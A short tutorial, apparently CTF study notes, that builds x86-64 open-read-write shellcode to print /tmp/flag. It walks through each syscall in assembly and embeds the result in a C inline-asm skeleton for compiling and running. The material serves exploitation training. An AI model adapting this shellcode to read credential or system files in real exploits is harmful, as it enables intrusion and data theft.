Shellcode: ORW Shellcode

Shellcode

Shellcode: A piece of assembly code designed for exploitation.

ORW Shellcode

orw shellcode: Shellcode that opens a file, reads it, and displays it on the screen.

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);

Let’s implement the above C language code as shellcode.

The syscall required to write orw shellcode is

syscall rax rdi rsi rdx

1. int fd = open(”/tmp/flag”, O_RDONLY, NULL)

int fd = open("/tmp/flag", O_RDONLY, NULL);

push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall

1. read(fd, buf, 0x30)

read(fd, buf, 0x30)

mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall

1. write(1, buf, 0x30)

write(1, buf, 0x30)

mov rdi, 1
mov rax, 0x1
syscall

1. completion

push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall

mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall

mov rdi, 1
mov rax, 0x1
syscall

Compiling and Running ORW Shellcode

To compile the orw shellcode written above using gcc, it must be converted into C language code.

Write a skeleton code that can execute shellcode in C language and add shellcode there.

Below is the skeleton code and the skeleton code with orw shellcode.

__asm__();

void run_sh();

int main() {
	run_sh();
}

__asm__(
	".global run_sh\\n"
	"run_sh:\\n"
	
	"push 0x67\\n"
	"mov rax, 0x616c662f706d742f \\n"
	"push rax\\n"
	"mov rdi, rsp\\n"
	"xor rsi, rsi\\n"
	"xor rdx, rdx\\n"
	"mov rax, 2\\n"
	"syscall\\n"
	"\\n"
	"mov rdi, rax\\n"
	"mov rsi, rsp\\n"
	"sub rsi, 0x30\\n"
	"mov rdx, 0x30\\n"
	"mov rax, 0x0\\n"
	"syscall\\n"
	"\\n"
	"mov rdi, 1\\n"
	"mov rax, 0x1\\n"
	"syscall\\n"
	"\\n"
	"xor rdi, rdi\\n"
	"mov rax, 0x3c\\n"
	"syscall");

void run_sh();

int main() {
	run_sh();
}